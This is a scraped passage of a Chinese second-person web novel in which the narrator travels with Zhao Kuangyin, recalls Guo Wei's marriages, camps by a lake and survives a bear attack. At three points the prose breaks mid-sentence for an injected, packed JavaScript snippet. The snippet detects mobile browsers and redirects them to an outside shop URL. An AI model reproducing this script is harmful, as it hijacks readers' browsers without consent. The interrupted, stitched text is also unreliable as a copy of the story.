柴娘子病逝后三年,郭威先生续娶了杨娘子作为继室。 杨娘子的经历就更坎坷了。 她原本是赵王王镕的侍妾,王镕兵败死后,再嫁平民石光辅,不久又守寡,最后第三次嫁人才嫁给了郭威先生。 可惜两人缘分不深, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537538|203252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成婚不到三年,杨娘子就病逝了。 杨娘子病逝后的第二年,郭威先生续娶了张娘子。 是的,张娘子也是一位寡妇。 她第一段婚姻是嫁后唐武官武从谏之子,夫君早亡,于是守寡,守寡不久就再嫁了郭威先生。 张娘子就是郭威先生如今的妻子,她伴随郭威先生仕途一路高升,现下是正儿八经的吴国夫人。 你感叹,人生的际遇真是无从预料。 赵大哥赞同地点头,说是啊。 你原本还要顺着这个话题继续说,忽然看见头上那一小片夜空有星星。 赵大哥!快看!好亮的星星! 天幕上三五几颗星星,圆满光华不磨莹。 几颗星点原来可以亮到这个程度,亮到几乎不像真的。 你仰头看了一会儿,觉得脖子酸了,便左右活动了一下。 然后你看见赵大哥也仰头在看星星。当然,你刚才催着他看的。 你们在看同一片星星。 那些旁人的前缘宿孽、旁人的爱恨嗔痴,都离你们远远的。 整个世界都离你们远远的。 他发觉你在看他,偏过头来。火光在他的瞳仁里跳跃,像两粒很小很小的太阳。 赵大哥也生得好呢。 就这么硬生生为你耽误了风华正茂的这几年。 我我我我我累了我我我我睡觉了。 你感觉自己的舌头和牙齿在打架。 你砰地侧身躺下去,闭上眼。 你听见他往火堆里添了几根枯枝,听见风穿过荆棘丛发出的沙沙声,听见远处的水潭发出空洞洞的流水声。 赵匡胤说,要不要我的衣服?晚上冷。 你闭着眼睛说,不要! 他循循善诱,是洗干净的那一件,现在没有血了。 你也不知道他加的这一句话打哪来的砝码,凭空把你的心往下压。 你说,又不是因为这个。 他说,嗯。怕你着凉。生病了就麻烦了。 然后他的外袍就覆下来了,带着他的好闻气味裹上来。他这次没有问你的意见,自己给你做了决定。 好啦。他用哄孩子的语气说,乖乖睡一觉吧。 21.旅途 你基本是完蛋了。 裹着他的气味,你一时半会睡不着,但不敢睁眼,怕看见赵大哥正望着你。 你有点受不了他望着你的目光,爱慕倒在其次,你还总觉得他在心疼你。 你都不知道自己有什么可心疼的。你没觉得自己可怜。 可能是他的问题。 你一个人坐着啃肉干他都觉得你好可怜。 不应该觉得肉干可怜吗。 厨师把它做得那么难吃,羊都白死了,你还要鼓励自己才能继续啃得下去。 你觉得他不应该这样看你,他自己倒是一点也不觉得自己不对。你说也不知道怎么说。 你不知道怎么应对,所以本能地躲避着他。 到底谁穿越之后努力半天发现自己现在得躲着时代之子啊。 哈哈,原来是你啊。 怎么会这样。 枯枝燃烧发出了嘶嘶的声音,偶尔有一声闷响,因为这些干枝都离水源不远,内里还有水分没有沥干。 闭着眼睛,虽然在乱想,但是你的意识不久就迷迷糊糊地飘远了。 在赵大哥身边,你总是很容易犯困。 总之……最好还是不要一时冲动吧。 你至少得坚持到离开这个该死的涧谷吧。 出去冷静几天再做决定吧。 睡过去之前,你勉强运用自己的理智,这么想道。 第二天清晨,你们穿过了那道石隙。 石隙那头是另一个山谷,比之前的涧谷开阔得多。 两侧的山坡上长满了树,树冠在半空中交织成一片旧旧的灰绿穹顶,遮天蔽地。 地上不再是乱石,而是厚厚的腐殖土,踩上去软绵绵的。 说实话,踩起来有点恶心。 你不得不花费一部分精力去躲避那些实在无从下脚的植被。 好在挡路的灌木丛和横生的荆棘少了许多,你们前行的速度比前一日快得多。 赵匡胤时不时停住脚步判断方向。 他仰头看太阳的位置,又看远处山势的走向,不断地校准你们的方位。 在深林中走了半天,不见天日,空气又浑浊,你头昏脑胀的。 你在心中庆幸两个人身手体力都不错,也没受什么严重的伤,不然真不知道要艰难成什么样子。 走着走着,感觉简直要喘不上气了,你忽然发现眼前有一片亮晶晶的东西在闪。 起初以为是头晕眼花导致的幻觉,仔细一看,才发现前方就是深林尽头,有一大片水面在日光底下泛着粼粼的碎光。 是一个大湖! 水面宽阔得一眼望不到对岸。 湖边生着茂密的芦苇,芦苇丛里不时有野鸭惊飞,扑棱棱地掠过水面,留下一道长长的涟漪。 好清的水! 湖面微风吹来,你深深吸了一口气,觉得肺里积了大半日的浊气被荡涤干净了。 你伸手探进水里。 湖水是温的,暖融融的,软得像缎子。 “这里有人住。”赵匡胤蹲下身。 岸边泥地上有几道深深的车辙印,印子很新,大约是几日内留下的。 他说罢抬头看了看天色,日头离西边的山头还有一段距离,但也不早了。 “那片山脚下应该有个村子。”你说。 山脚下的树丛间有几缕炊烟,细细的,在暮色将至的天光里飘摇。 “契丹人的村落。”赵匡胤笃定道,“不过这种靠湖的小村子通常不是军寨。我们明早天不亮就绕过去,不要惊动任何人。” 那今天就只能先停在这里。 水面上的日光被风吹碎了,又重新聚拢,反反复复的,像这天地间有个至高的存在正耐心地玩一个永远玩不腻的游戏。 湖上的风一阵一阵地吹过来,你掬了水洗脸,感觉脸上十分清爽,要不是赵大哥在身边,你要把鞋袜都脱了踩到水里去。 你快活地玩了一会儿水,才发现赵大哥已经把随身带的几个水囊都补充好了,正换到偏下游一些的位置开始洗沾上血渍的白布。 你:“……” 有种玩了半天一点正事都没干的愧疚。 你和其他人在一起的时候不是这种眼里一点活都没有的人啊。 你跟过去要帮着干活,被赵大哥拒绝了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541711|203252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他唯一留给你干的活就是你可以使唤他。 这么说的时候,还放下手上的活,用芦苇给你折了只小狗,捧到你面前,问你刚刚好玩吗?这个喜不喜欢?待会儿还给你折一只小猫,到旁边再好好玩吧,难得这么高兴。 你实在不好意思继续玩,便起身去附近捡干柴。 当然,小猫和小狗你都带走了。 本来就是给你的嘛。 稍晚些,你们在离湖岸稍远些的背风隐蔽处清出一块平地,预备搭个简易的火堆。 赵大哥说去方才过来的林子里猎两只野兔,反正今晚也空出许多时间,可以再存些干粮在身上。 你觉得很有道理。 赵匡胤这人天生的高精力,你捡柴的时候不让他插手,他直接就地取材做了一把弓。 弓梢是用削尖的硬木烤弯的,弦是几股揉在一起的树皮纤维,粗糙得不像话,拿它打兔子全靠人的本事。 你们拐进了下午经过的那片林子。 你们俩都很有野外生活的经验,找几只野兔算是手到擒来,几乎约等于在玩。 随意地浪费了几只箭,还是很快就顺利猎到了一只肥美的野兔。 “这么重,附近肯定没什么大型食肉动物。”你道。 赵匡胤点头,说附近都有村庄,应当没有豺狼虎豹这一类的。 你玩够了,将那把简易的弓箭还给赵匡胤。 他往前又寻了一段路,便搭箭拉弓。 那张简陋的弓在他手里弯出一道流畅的弧线,弓弦绷紧时发出细微的吱嘎声,他的手指扣着箭尾,连发数箭,每一箭都正中一只野兔, 你感觉他有点故意在你面前展示自己的射艺。 呵。男人。 当然——你承认,确实很强。 你们收拾了那几只还在流血的兔子,正要回去,忽然发生了一件很不寻常的事情。 林子里的鸟忽然全部飞了起来。 一大群,呼啦啦地从树冠里炸出来。 然后你听到了树枝折断的声音。 咔嚓。咔嚓咔嚓。 有什么正在向你们走来。 22.一声何满子 声音如此之大,说明来的那东西不在乎被听到。 它不需要小心翼翼地在阴影里匍匐前进。 在这片林子里,它自认没有天敌。 “熊。”你很快就猜到了。 一头不属于这片林子的熊。 那只能是在领地争夺之中落败,被更年轻、更强壮、更凶狠的同类驱赶出来,拖着未愈的伤口和满腹饥饿,跋涉了不知多少里路,来到这里寻找新的领地的成年熊。 密林深处,一团棕黑色的影子正从灌木丛后浮出来。 先是隆起的肩峰,然后是宽厚得不像话的脊背,最后是那颗低垂的、正在地面上嗅来嗅去的巨大头颅。 它走得不快,每一步都踩得很实,树枝在它脚底下碎裂,像骨头被碾断。 简直是一辆长了毛的大运。 谁有病谁和大运对创。 “不要跑。先退。”赵匡胤耳语道。 这个时候不能跑。 在熊还没有决定攻击之前,逃跑等于给它一个追击的信号。 掠食者对逃跑的猎物有一种本能的、不可遏制的追逐冲动。 你们把所有在流血的东西都扔在原地,小心地挪出去。 熊没有跟上来。 你刚要松一口气,赵匡胤的手按住了你的肩膀,把你拉到了一棵粗壮的松树后面。 “上去。”他说。 你什么话都没说,立刻借他托举你的力气翻了上去。 赵匡胤背靠着树干,侧身藏在另一棵树的主干之后,没有像你一样到树上去。 你知道为什么。你的位置更高,你已经看到了—— 来不及了,那只熊过来了。 那头熊不知道什么时候折返了方向,轻手轻脚从另一侧绕了过来。 那不是一头庞然大物应有的走路方式。 它在潜行。 它低垂的头颅微微抬起,鼻尖不停地抽动,耳朵向前竖起,两侧的肩胛骨在皮毛下一收一缩,整个身体都是绷紧的、蓄势待发的。 一头体重可能超过五百斤的庞然大物在潜行,简直十分诡异。 它知道你们在这里。 它放弃了那堆沾了血的死物,循着更鲜活的、更浓郁、更美味的活人气味,轻手轻脚从另一侧绕了过来。 它的鼻子不可能闻不到你们。但它的眼睛不好,不确定你们的具体位置,所以它还在找。 熊在你所在的树下绕了半圈。 它停住了,鼻尖抽动。 忽然,它人立而起。 它站起来了。 两条后腿蹬在地面上,腰腹的肌肉猛地发力,那具山一样的身躯以一种不可思议的方式向上拔起。 你这一刻真正理解了什么叫庞然大物。它遮住了你全部的视野。你以为自己已经很高了,很安全了,但它站起来之后,前掌抬一抬就能够到你坐的那根横枝。 你觉得自己在和它四目相对。 它的牙齿在往外滴口水。 透明的、粘稠的涎液从齿缝间淌下来,拉出一道细长的丝,在半空中微微颤动。 你闻到了它嘴里的气味——是腐肉和唾液混合在一起的味道。 见鬼。 你的剑犹如闪电一般刺出。 这一剑正正扎进它湿漉漉的鼻尖。 鼻头软骨在剑尖下发出一声令人牙酸的脆响,剑锋没入半寸,血溅了你一手。 它在剧痛中失去了平衡,两只前掌在空中胡乱挥了两下,庞大的身躯往后倾倒,重重地砸在铺满落叶的地面上,激起一大片碎叶和泥土。 你是想刺它的眼睛,被它躲过去了,不过最终结果也能接受。 你和赵匡胤一起开始狂奔。 熊在你们身后呼哧呼哧地喷着气,前爪刨着地面,把自己撑了起来,横冲直撞地追过来。 老天。 这玩意跑太快了。 还好你之前荒野求生的时候是冬天,碰到这种东西到底谁能活下来。 你们不得不和一只盛怒状态下的熊对战。 简直是噩梦一样的经历。 这到底是什么力量速度血条防御暴击爆伤都拉满的六边形怪物。 还好这玩意闪避差一点,体型太大了,你的攻击很少有中不了的。 尽管如此,在终于弄死这头活体大运之后,你还是感觉自己的手臂都软下去了。 你把剑拄在地上,整个人的重量都挂在剑柄上,大口大口地喘气。肺像被攥紧又松开,反复几次,每一次吸气都带着血腥味。 好在总算是结束了。 天已经彻底黑了。 林子里的光线暗到你几乎看不清三步以外的东西,只有头顶稀疏的星光勉强勾勒出树冠的轮廓。 地面上的熊尸是一团更深的黑暗,已经看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546937|203252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清形状了,只能闻到那股越来越浓的血腥气。 “赵大哥。”你喊了一声。 声音哑哑的。 没有回应。 你等了几秒,心想他大概也累得够呛,懒得开口。 “赵大哥?”你又喊了一声,这次声音大了一点。 还是没有回应。 你手脚并用地在地上摸索起来,太黑了,你看不清楚,你只能这样。 你摸到他了。 赵匡胤躺在地上。 你摸到了很多血。他的脸上全是血。他的眼睛闭着,嘴唇抿得很紧,胸口—— 他的胸口没有起伏。 啊。 你的脑子很乱,整个人都木在原地,费劲地想,没有呼吸了也不一定就死了,没有头颅也不一定就死了,一定有办法的,一定有办法的。 赵大哥。赵大哥。赵大哥。 你浑身都在抖,不敢相信自己面对的情况。 怎么会呢——怎么会呢—— 不是这样的,不是这样的。 他以后还要当皇帝,怎么会因为这种可笑的理由死掉。 太草率了。不可能的。 方才太黑了,你甚至不太确定他是不是为你挡了什么致命的袭击。 肯定是的,一定是的,他不应当死在这里。 他会为了你这么做的。一定是因为这个。 你往他怀里扑,他的身体是温热的,你想起人死了会冷下去,整个人覆在他身上,想阻止这个过程。 然后你听到了一个声音。 “……哪里伤到了?怎么一直抖?” 你的额头还抵在他胸口上,那句话是从他胸腔里传出来的,直接通过骨头送进你的耳朵里。 你整个人僵住了,像被雷劈了一下,连呼吸都停了。 赵匡胤支着身体坐起来,把你从自己怀里扶起。 “怎么了?”他声音很急,因为你的反常而焦灼不安,简直要去摸你的手脚好亲自确认。 他没回应你可能是单纯没听到。他的眼睛闭着因为脸上全是血糊住了。他的胸口没有起伏因为你刚才太慌了没摸准。 你闹了个大乌龙。 你低头不看他,闷闷地说:“没事。” 赵匡胤好声好气地哄道:“怎么了?告诉大哥好不好?” 然后,一颗滚烫的泪水落到了他的手上。